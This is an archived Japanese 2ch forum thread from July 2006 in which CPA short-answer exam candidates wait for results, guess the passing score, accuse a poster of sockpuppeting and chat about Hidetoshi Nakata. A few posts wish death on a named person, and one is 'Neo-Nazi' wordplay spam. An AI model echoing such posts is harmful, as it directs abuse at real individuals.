5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

☆公認会計士【短答式】試験総合スレ47☆

1 :一般に公正妥当と認められた名無しさん:2006/07/03(月) 11:10:11 ID:???
発表まであと2日!
どんどん語ってください!

2 :一般に公正妥当と認められた名無しさん:2006/07/03(月) 11:11:20 ID:???
前スレ
http://school5.2ch.net/test/read.cgi/exam/1151648254/l50

3 :一般に公正妥当と認められた名無しさん:2006/07/03(月) 11:12:37 ID:???
俺としてはサプライズ無しをきぼん

4 :一般に公正妥当と認められた名無しさん:2006/07/03(月) 11:13:39 ID:???
租税法やばい、どうしよう

5 :一般に公正妥当と認められた名無しさん:2006/07/03(月) 11:14:20 ID:???
>>4
また来年がんばってね

6 :一般に公正妥当と認められた名無しさん:2006/07/03(月) 11:14:37 ID:???
残念、一瞬こっちが早かった。
移動でお願いします。

☆公認会計士【短答式】試験総合スレ47☆
http://school5.2ch.net/test/read.cgi/exam/1151892410/



7 :一般に公正妥当と認められた名無しさん:2006/07/03(月) 11:15:06 ID:???
そんなこと言わないで
見捨てないでよ

8 :一般に公正妥当と認められた名無しさん:2006/07/03(月) 11:15:45 ID:???
おい、重複してるぞ

9 :一般に公正妥当と認められた名無しさん:2006/07/03(月) 11:16:19 ID:???
つーかこっちが本スレだろ

10 :一般に公正妥当と認められた名無しさん:2006/07/03(月) 11:20:19 ID:???
平澤をのさばらせないためにも70以上こい!!

11 :一般に公正妥当と認められた名無しさん:2006/07/03(月) 11:21:42 ID:???
>>10
あいつほ予想を外してものさばるよ
早く死ねばいいのにな

12 :一般に公正妥当と認められた名無しさん:2006/07/03(月) 11:23:06 ID:???
平沢氏ね

13 :一般に公正妥当と認められた名無しさん:2006/07/03(月) 11:23:51 ID:???
☆公認会計士【短答式】試験総合スレ47☆
http://school5.2ch.net/test/read.cgi/exam/1151892410/

こっちが本スレなので移動しましょ

14 :一般に公正妥当と認められた名無しさん:2006/07/03(月) 11:37:38 ID:cx7xiOwS
明後日発表か〜。

15 :一般に公正妥当と認められた名無しさん:2006/07/03(月) 11:41:29 ID:???
どうせすぐ次スレ必要になるからその時に実質48で再利用


16 :一般に公正妥当と認められた名無しさん:2006/07/03(月) 20:50:31 ID:???
計画性のない奴ら

17 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 03:38:08 ID:FJNICM5q
結局、66〜70を主張してる奴は自演でした。
おやすみ。

18 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 03:39:21 ID:???
2ちゃんボーダーは今んとこ72〜74ですね
ちなみに去年は34〜35で落ち着いてました


19 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 03:40:08 ID:???
今後荒しを無くすためにも66〜70と言う方はIDを晒してください

20 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 03:44:00 ID:???
>>17
奴は結局なんだったんだろうな

21 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 03:45:51 ID:???
自分が70なんでしょうね。

22 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 03:47:56 ID:???
でも、後半は面白かったね。
ID出してから60台の煽りがピタリと止んだ

23 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 03:48:44 ID:???
66〜70を主張してたのは3日くらい前に山田というコテを
使ってた奴。大原入門生らしい。ず〜と、自演してたw。
俺は携帯で見たりしてたからず〜と笑ってがw
今日、携帯の必殺技を誰かがばらしたので
これから自演厨を見れないのが残念w

24 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 03:48:52 ID:???
70で煽りって言われた俺はたまんなかったよw

25 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 03:53:46 ID:???
「ID晒せ」なんていうと「議論厨乙w」なんてちゃかされて終わりだと思っていたのに
まさか70台が晒しまくって60台が消えるとはw
ID晒しが受け入れられることもあるんだね

26 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 03:55:12 ID:???
あんなに緑が多いのもはじめてみた。

27 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 03:57:34 ID:???
奴は今日も出没するのかな?

28 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 03:58:01 ID:???
ボーダーは76 タック様の言うとおり

29 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 03:58:21 ID:???
72が◎
73と71が○
70が△
74が▲
合格者増ならこんなとこかな。

30 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 03:59:43 ID:???
文体が同じだったし、同意。って言うパターンもね。自演臭かった。
みんなも66厨がうざかったからID晒しに賛同したのでは?

31 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 03:59:44 ID:???
さすがに76だと煽りだね。。。

32 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 04:00:36 ID:???
29が妥当かな。自演じゃないぞw

33 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 04:01:35 ID:???
>>30
やっぱりうざかったんだよな。
あとは「。」をつけてもいなかったな。

34 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 04:01:58 ID:???
つーか なんで2ちゃんは ボーダー74が上限なんだ?
合格者3500人くらいだったら
ボーダー77くらいまで ありえるだろ

35 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 04:02:32 ID:???
76でもぎりぎり煽りではないような気がする。

36 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 04:03:00 ID:???
俺はずっと72〜73って言ってたけど
あまりの66煽りに68もあり得るとかいってあげてたよ。

37 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 04:03:06 ID:???
77になるとさすがに俺の生命線にかかわるw

38 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 04:04:16 ID:???
前スレ携帯から見直してみたんだけど、かなりウケルな
例の66の奴はほぼ一日粘着してるね
途中9時〜11時くらいまでいないけど
その後のレスからしてたぶんドラマ見てたんだろうな


39 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 04:04:58 ID:???
いつもの2chになって来たwやっぱりこうでナイト!
低い煽りは2chでは要らんぜよ!

40 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 04:05:06 ID:???
いやいや76があり得るならtacは座談会修正の必要ないから。
それをリサーチで修正してるとこみるとあって73〜74だよ。

41 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 04:05:11 ID:???
それはすごいな。
ある意味尊敬するかも。

42 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 04:07:07 ID:???
さっきまでは74をだすだけで蜂の巣をつついたようになったのが
1人いないだけでうそみたいだな。

43 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 04:07:57 ID:???
>>38
だろ?でも、これでオデの自演厨を見る楽しみがなくなった。。。
発表終わったら朝方に生活直して論文がんばろ。

44 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 04:08:00 ID:liVp9xMu
疑義問もあるんだから 75付近のやつも ひやひやだな。
80とれて 良かった 安心して 寝るね!

45 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 04:12:33 ID:???
タックが 修正どうこうじゃなくて
タックは 結局わかりませんっていう意味で
金融庁のとおり 70前後にしてるだけ

だから 普通に ボーダー77は あってもおかしくない。
免除者は全員受かるだろうし

46 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 04:12:48 ID:???
 非マナー非マナー非マナー非マナー非マナー非マナー
  非マナー非マナー非マナー非マナー非マナー非マナー
  非マナー非マナー非マナー非マナー非マナー非マナー
  ーナマ非ーナマ非ーナマ非ーナマ非ーナマ非ーナマ非
  ーナマ非ーナマ非ーナマ非ーナマ非ーナマ非ーナマ非
 ーナマ非ーナマ非ーナマ非ーナマ非ーナマ非ーナマ非
 非マナー非マナー非マナー非マナー非マナー非マナー
  非マナー非マナー非マナー非マナー非マナー非マナー
  非マナー非マナー非マナー非マナー非マナー非マナー
  ーナマ非ーナマ非ーナマ非ーナマ非ーナマ非ーナマ非
  ーナマ非ーナマ非ーナマ非ーナマ非ーナマ非ーナマ非
 ーナマ非ーナマ非ーナマ非ーナマ非ーナマ非ーナマ非
 非マナー非マナー非マナー非マナー非マナー非マナー
  非マナー非マナー非マナー非マナー非マナー非マナー
  非マナー非マナー非マナー非マナー非マナー非マナー
  ーナマ非ーナマ非ーナマ非ーナマ非ーナマ非ーナマ非
  ーナマ非ーナマ非ーナマ非ーナマ非ーナマ非ーナマ非
 ーナマ非ーナマ非ーナマ非ーナマ非ーナマ非ーナマ非

47 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 04:15:04 ID:???
75以下の人 本当にお疲れさまでした。


48 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 04:16:11 ID:???
ネオナチネオナチチナオネチナオネネオ
ナチネオナチチナオネチナオネ
ネオナチネオナチチ
ナオネチナオネネオナチネオナチチナオネチナオネ
ネオナチネオナチチナオネチナオネネオナチネオナチチナオ
ネチナオネ
ネオナチネオナチチナオネチナオネネオナチ
ネオナチチナオネチナオネ
ネオナチネオナチチナオネチナオネネオナチ
ネオナチチナオネチナオネ
ネオナチネオナチチナオネチ チナオネチナオネネオナチネ
チナオネチナオネネオナチネオナチチナオネチナオネネオナチネオナチ

49 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 04:17:02 ID:???
76以下の人本当にお疲れ様でした。

50 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 04:30:05 ID:QQq2Whdu
はぁ〜。早く結果出てほしいな。
ボーダーうんぬんじゃなくて合格者はなるべく少なめで。

予想は75!

51 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 04:37:12 ID:???
俺も 合格者少なめでおさえてほしい。
予想ボーダー79

52 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 04:45:46 ID:???
これこそマジで荒れてるな。
あのリサーチからどうして77とか79とか。
そんな事言ってるのは60台の自暴自棄か。
TACは読めないとはいってるけど去年水準でも77とか79言ってないし
リサーチからもそんな事数値読み取れない。

53 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 05:00:23 ID:???
>>52
70を基準とするとされている以上、
80以上の奴がリサーチを提出していない可能性があるからな。
ボーダー78くらいなら、ありえるぜ!

54 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 05:07:57 ID:???
じゃー8割を基準としてってかくだろ。
頭いかれてるわ。

55 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 05:18:40 ID:???
そもそも、あのレベルで8割とれないなら、撤退だろ。
そんな阿呆が担当受かっても…結果は見えてる

56 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 05:19:29 ID:???
あんなけデータリサーチの数出てて
『80以上の奴がリサーチを提出していない可能性があるからな。
ボーダー78くらいなら、ありえるぜ!』
はないだろ。まぁ7/5になれば分かるしな。
変なバカの為にレス打ってる自分に少し悲しくなったよ。
俺もしらずしらず少し不安になってんだな。


57 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 05:23:43 ID:???
あと27時間30分・・・

58 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 05:26:31 ID:QQq2Whdu
たしかに75もかなり高いボーダーだとは思うよ。
でも、希望・願望込みだからね。
持ち越し考えると、今年論文落ちした場合は、今年の短答合格者が直接のライバルだからね。
だからボーダーは高ければ高いほどいいのさ。
実力者にそう思ってる人は多いはず。

あと、レベルの低いヤツに目障りなヤツは多い。
だから、自習室や廊下の環境もよくなってほしいしさ。

性格悪いって思うかもしれない。

でも、必死なんだよ。

59 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 05:28:58 ID:???
官報で名前も発表されちゃうのっていつですか?

60 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 05:31:46 ID:???
名前は7月6日に出るよ。

明日は番号だけ。

61 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 05:37:58 ID:???
8割とれないなら、撤退しなくてはならないなんてひどいこと言う奴いるんだな。
そんなこというと後で大変だよ。

62 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 05:45:25 ID:???
俺は8割超えてるから、論文受けていいですか?

63 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 05:46:20 ID:???
自演乙

64 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 05:58:29 ID:???
官報ってネットでみれますか?

65 :59:2006/07/04(火) 06:00:51 ID:???
>>60
ありがとうございます
>>64
見れます

66 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 06:19:56 ID:???
ボーダー77とか79がでてきてから
75 76あたりのやつが あわてだしてるな。
ウケる




67 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 07:22:08 ID:+OFo/JF1
ボーダー79でよろしく

68 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 07:22:42 ID:+OFo/JF1
同意

69 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 07:25:39 ID:+OFo/JF1
TACは解答まちがえてるから
TAC採点のやつは3点上乗せされてる
可能性が高い

同意

70 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 07:28:23 ID:???
大原ボーダー70前後とかいって

70%以上の人は論文合格を信じてって書いてあるじゃん

70予想だね 大原


71 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 07:42:46 ID:???
公表するから70って言わなきゃしょうがないよ。
万が一にもボーダーを上回る予想をしちゃあいけないんだから。専門学校は。

客観的にはTACが最初に出した74あたりが現実的かなぁって。

願望は少なければ少ないほど、よりベター。
80以上とってる人のほとんどはこう思ってるんだろうな。

72 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 08:04:18 ID:???
ボーダーは72でしょ。統計的に。

73 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 08:09:49 ID:+OFo/JF1
結局、1ヶ月だらだら過ごした

74 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 08:11:47 ID:???
のこり1日。さーてこのスレは最高どこまで伸びる?50は超えるだろうな


75 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 08:22:48 ID:???
もしも番号なかったらとか考えると ちょっと落ち着かないな‥

76 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 08:30:29 ID:???
あと丸一日と30分・・・

77 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 08:30:31 ID:???
マウスに触れる右手が震えそうだよ

78 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 08:38:18 ID:???
まず最初に2ちゃんでボーダーと疑義問確認しよう

79 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 08:47:02 ID:???
70707070707070707070707070707070707070707070707070
70707070707070707070707070707070707070707070707070
70707070707070707070707070707070707070707070707070
70707070707070707070707070707070707070707070707070
70707070707070707070707070707070707070707070707070
70707070707070707070707070707070707070707070707070
70707070707070707070707070707070707070707070707070
70707070707070707070707070707070707070707070707070
707070707070707070おねがいします7070707070707070707070
70707070707070707070707070707070707070707070707070
70707070707070707070707070707070707070707070707070
70707070707070707070707070707070707070707070707070
70707070707070707070707070707070707070707070707070
70707070707070707070707070707070707070707070707070
70707070707070707070707070707070707070707070707070
70707070707070707070707070707070707070707070707070
70707070707070707070707070707070707070707070707070

80 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 08:51:36 ID:bGs1IA6x
大原はここ3年くらいドンピシャじゃない?
昨年もHPで34は論文へみたいなことを書いてあった
んで34点だった
今年も大原信用でいいんじゃない?
いつもあたらないのはTAC
最大手なのになぜなんだ?

81 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 08:55:24 ID:???
不動産鑑定士も「70%基準」と宣言してるのに実際合格点は75点だったんでしょ?


82 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 08:58:05 ID:???
>>81
あれは問題が悪い。
リサーチの平均77%だったらしい

83 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 09:29:49 ID:QlcgimGg
いよいよ明日

84 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 09:41:28 ID:???
統計からの推測は6年以上的中させてる、だから今年も72点〜73点を上回ることはないと思う。合格者増加で70点

85 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 09:55:11 ID:???
不安で勉強集中できない T77点のものだが

86 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 10:01:59 ID:???
おい!昨日の深夜組!
66自演をバラすなよ。
しょうがない、自演野郎の特徴さらすから注意
1.66〜70説が(初日から)根強い
2.同意
3.(70台に対して)空気嫁
4.発表前マジレス→74で煽っていたが〜
5.LECボーダー変更に因縁
6.このスレの流れは66〜70みたいだな
7.(無理矢理66〜70に結論付けて)降りるわ

87 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 10:16:44 ID:???
明日は皆どんな感じで合否確認するの?
先に2chでボーダーや疑義問確認する?

88 :一般に公正妥当と認められた名無しさん :2006/07/04(火) 10:23:53 ID:???
昨日の夜いたが、みんな必死すぎて痛かった。

89 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 10:32:57 ID:???
ID晒しが合意を得るなんて思わなんだ

90 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 10:33:09 ID:???
>>88
66〜70自演野郎すごかったよな
70台ボーダーが煽りだもんな

91 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 10:34:19 ID:???
>>87
2ちゃんだと最初にニセ情報が流れて心臓に悪いから一気に見に行く

92 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 10:35:58 ID:???
明日への心の準備
73以上→おお〜絞ってきたね〜
72〜70→やっぱりね
69以下→mjsk!!!!111

93 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 10:37:47 ID:???
>>87
俺は80後半だから即効で番号確認してボーダーチェック
72以上なら祭りだから2ch
未満ならつまんないから勉強だな

94 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 10:46:31 ID:???
みんな勉強してるのかよ?集中できんよ

95 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 10:55:46 ID:xLuHyoxI
すいません、発表は明日の何時からですか?

96 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 11:10:00 ID:???
>>95
9んに

97 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 11:18:42 ID:???
ヒデの引退が意味するものは・・・・

98 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 11:23:45 ID:s4wLJHrS
ここ何日か勉強が手につかない。今からTACにいきます。

99 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 11:24:22 ID:lpB63mVW
人生とは自慰である

100 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 11:34:16 ID:???
俺より年下の中田が引退した件について

101 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 11:55:29 ID:???
中田って会計士の資格をとろうとしたこともあるんだね・・・。
http://germany2006.nikkansports.com/paper/p-sc-tp4-20060704-0029.html

102 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 11:58:23 ID:???
ボーダー72で密かに受かると思っていた71の奴がもだえる姿を見たい。

103 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 11:58:47 ID:???
>>101

有名な話らしい。
因みに税理士簿記論を持っているらしい。

104 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:01:19 ID:???
でも中田が短答受けてボーダー議論に一喜一憂してたらw


105 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:09:11 ID:???
1点を大事にする中田なら短答くらいは余裕さ。

106 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:09:51 ID:???
>>101に東大を狙えたって書いてあったけど、
この間、高校3年のときの数学のテストが100点だったとTVでやってた。
その内容をみると、中学生レベルかせいぜい高1レベルだったが・・・。

107 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:10:31 ID:???
>>93
税理士簿財の勉強だろうが。

108 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:11:26 ID:???
俺が大学経営者なら、中田をアカスクに勧誘して
アカスクと大学の知名度上げること考えるなあ。
(中田は留学を想定みたいだが)大学入り直すことを
考えてるならありえなくもない。

109 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:12:34 ID:???
そーいや元Jリーガーで去年司法試験受かった香具師いたよな?

110 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:12:51 ID:nN7zyGlf
去年の2chと比較すると、
今年は74が有力だから実際のボーダーは72位。
それで免除枠や合格増という不確定要素を考慮にすると、
68〜72。
そしてここからが重要。
72より上はあってもおかしくないけど、
68未満は絶対にない。


111 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:13:11 ID:???
元ガンバだったっけ?

112 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:14:11 ID:???
>>108
早稲田アカスクなら中田のプライドの面でも
ありそうな気がする。

113 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:14:27 ID:???
>>109
ガンバの選手だな。阪大卒だった気がする。

114 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:15:00 ID:???
>>108
その前に大学を出ないとな・・・。

115 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:15:14 ID:???
66・67って去年でいう33になるのか。

116 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:15:57 ID:???
ハーバードに留学予定って記事あったぞ。
今更日本のバカスクはありえないだろw
海外のビジネススクールに比べれば得られることなんてはるかに少ないだろうし。

117 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:17:38 ID:???
ウクライナのユリア・ティモシェンコ首相ってスッゴク美人だな〜〜。

118 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:20:00 ID:???
>>116
世界を知ってしまった中田が日本のレベルの低い大学にいくわけねえだろ。



119 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:46:43 ID:???
おまえら、来年中田が部下として監査法人入ってきたら意見言えるか?
俺、無理かも。

120 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:49:06 ID:???
韮崎高校のトップクラスっていうけど、
ここって進学高なの?
HP見てみたけど、過去3年間の合格実績とか、
進学校風の合格実績開示の仕方ではない気がするけど。

121 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:49:20 ID:???
ハーバードじゃなくてコロンビアらしいよ。
留学予定っていうよりも留学希望だろうけど。

122 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:50:30 ID:???
>>120
絶対に進学校ではないと思うよ。
むしろ半分よりしただと思う。


123 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:51:41 ID:???
お前ら相変わらず何を考えてるんだ?
中田はもう十分金は持ってるんだよ。
今更監査法人になんて新入社員ではいって
サラリーマンなんてするわけ無いだろ。
MBAとりたいっていうのは今後ビジネスを自分で
展開するためや、社外取締役として活躍の場を増やすためだろ。

124 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:56:02 ID:???
>>80
確かに大原は信用できる。
ってことは、旧基準だと73,4、新基準だと70前後か。

俺なりに予想つけると、、
◎72←70じゃちょっと合格者大杉の場合
○70←文言通りの場合
△73、74←やっぱ3000人しか採点できねーよの場合
▲68、69←初売り大バーゲンの場合
×75以上、67以下

125 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:56:21 ID:???
中田はどうでもいいがボーダーは70じゃないと困る。

126 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:57:18 ID:???
>>119
話し聞いてますか?って言ってやれよ。

127 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:58:33 ID:???
>>123
マジでそんなこと話してるわけないだろw
ネタとしてだよ


128 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:59:26 ID:???
いつか中田がインサイダー取引でパクられたら笑える。

129 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 12:59:39 ID:???
韮崎高校の入試。
調査書 40%
面接 30%
作文 30%
http://www.kai.ed.jp/niratakah/

130 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:00:54 ID:???
免除はいってるのに73だと純粋な受験者にとっては難化だな。
73って試験始まって以来の最高値みたいね。

131 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:02:39 ID:???
65〜70で70を無理して守ると合格者減っちゃうとか、
70〜75で70を無理して守ると合格者多すぎるとか、
65〜70あるいは70〜75の中で決めるとなると70からそれるかもしれないけど、
68〜72の中で決めるのであればあとくされない70になるんじゃないの

もうど〜〜〜〜〜でもいいけどねこんな議論!あと20時間弱限定の予測になんの価値もない

132 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:03:29 ID:???
中田は中学生時代、神奈川の桐蔭学園からスカウト受けたらしいけど、
勉強について行けなくなるのがイヤだから、地元に進学したらしい。

133 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:04:21 ID:???
72がボーダー臭いな。
感触的に73や74だと高い、69や70なら低い。
そうなると72か?
71なら70と言いそう。70基準だから。

134 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:04:35 ID:???
>>131
だったら勉強してろよ。

135 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:04:49 ID:???
>>128
プロ中のプロの中田ならそんなミスしないだろ

136 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:08:07 ID:QqK3IOG+
ID晒し投票
75:
74:
73:
72:○
71:
70:
69:
68:
67:
66:

137 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:08:54 ID:???
昨日からここのスレでは73だと高いという奴が多く60台だと低いと言う奴が多い。
ここにはきっと70〜72位の奴が多いということだ。
というか全体的にも68〜72位が最激戦区なのかもしれないな。

138 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:10:51 ID:???
山梨県高校偏差値ランキング表
韮崎高校文理51
      普通40


http://www.shuei-yobiko.co.jp/shuei_c/c-jouhou_y3.htm



139 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:11:46 ID:???
俺も最激戦区ナンバー1の72に1票。

140 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:12:43 ID:???
70前後の塊をゴッソリとすくってくれているかどうか・・・

141 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:13:37 ID:z82I9R1c
ID晒し投票
75:
74:
73:
72:○
71:
70:○
69:
68:
67:
66:

142 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:14:24 ID:pkpUEhly
ID晒し投票
75:
74:
73:
72:○ ○
71:
70:○
69:
68:
67:
66:


143 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:14:52 ID:???
勉強まったく手につかない・・・

144 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:15:35 ID:???
68〜72の辺りって1点に何人いると思う?誰か分かる人教えて?

145 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:17:44 ID:???
最有力は72か
続いて70か
ボーダーは70〜72か

146 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:20:36 ID:???
>>144
500人ずつくらいじゃないの

147 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:24:35 ID:???
みんな勉強はかどってるの??

148 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:25:01 ID:O9jEaZh0
ID晒し投票
75:
74:
73:○
72:○ ○
71:
70:○
69:
68:
67:
66:



149 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:25:49 ID:???
なんか、73だと高い感じするし、毎年高いボーダーは当たらない
70ピッタリがしっくり来るが、それだと来年70でいいのか
わからない。
69だと低すぎる感じがする。
ってことで71ね。奇数あげる人少ないけど。

150 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:26:01 ID:???
>>146
1点に500人だと73,74で3000〜3500人だとすると
72は4000人←合格者やや増加 免除なんか除けば去年の34と同じレベルか?
71は4500人
70は5000人←上位1500人が偏差値60となるには母体として5000人必要らしい?
68は5500人
67は6000人←TACは合格者6000までありうるとしているからここまで可能性はある?
とこうなるのかな?

151 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:27:08 ID:???
ID晒し投票
75:
74:
73:○ ○
72:○ ○
71:
70:○
69:
68:
67:
66:


152 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:27:55 ID:???
>>151は除外で

153 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:28:03 ID:Y/BxEt0y
>>151 ID抜けてたw  再掲

ID晒し投票
75:
74:
73:○ ○
72:○ ○
71:
70:○
69:
68:
67:
66:


154 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:28:30 ID:Ndn3ZWxC
ID晒し投票
75:
74:
73:○
72:○ ○ ○
71:
70:○
69:
68:
67:
66:

155 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:28:43 ID:O9jEaZh0
>上位1500人が偏差値60となるには母体として5000人必要らしい?

受験生の点数が正規分布に従うとすれば、
偏差値60っていうのは上位15%だよ。
だから、その仮定だと1万人必要ってことになるよ。


156 :修正版:2006/07/04(火) 13:29:36 ID:Ndn3ZWxC
ID晒し投票
75:
74:
73:○ ○
72:○ ○ ○
71:
70:○
69:
68:
67:
66:




157 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:29:38 ID:???
71かな。

158 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:29:56 ID:Y/BxEt0y
次の人は >>153-154 のズレを足してね


159 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:31:23 ID:???
>>155
すまん。じゃー勘違いだ。
なにやら採点基準で示された計算を行なうと5000人なら上位1500位までが
60点を超えるとTACが言っていた気がしてね。

160 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:32:05 ID:pkpUEhly

○じゃなくて■の方がグラフっぽいと思います!

161 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:34:08 ID:O8/3PTcZ
75:
74:
73:○ ○ ○
72:○ ○ ○
71:
70:○
69:
68:
67:
66

162 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:34:17 ID:???
結局最有力は72なんだな。
続いて73。
更に続いて70とこんなところか…。

163 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:34:20 ID:???
>>159
志保込めたらちょうど1万だな。

164 :一般に公正妥当と認められた名無しさん:2006/07/04(火) 13:35:59 ID:???
じゃあ、161の分から■にしてみようか。

ID晒し投票:
75:
74:
73:■■■
72:■■■
71:
70:■
69:
68:
67:
66

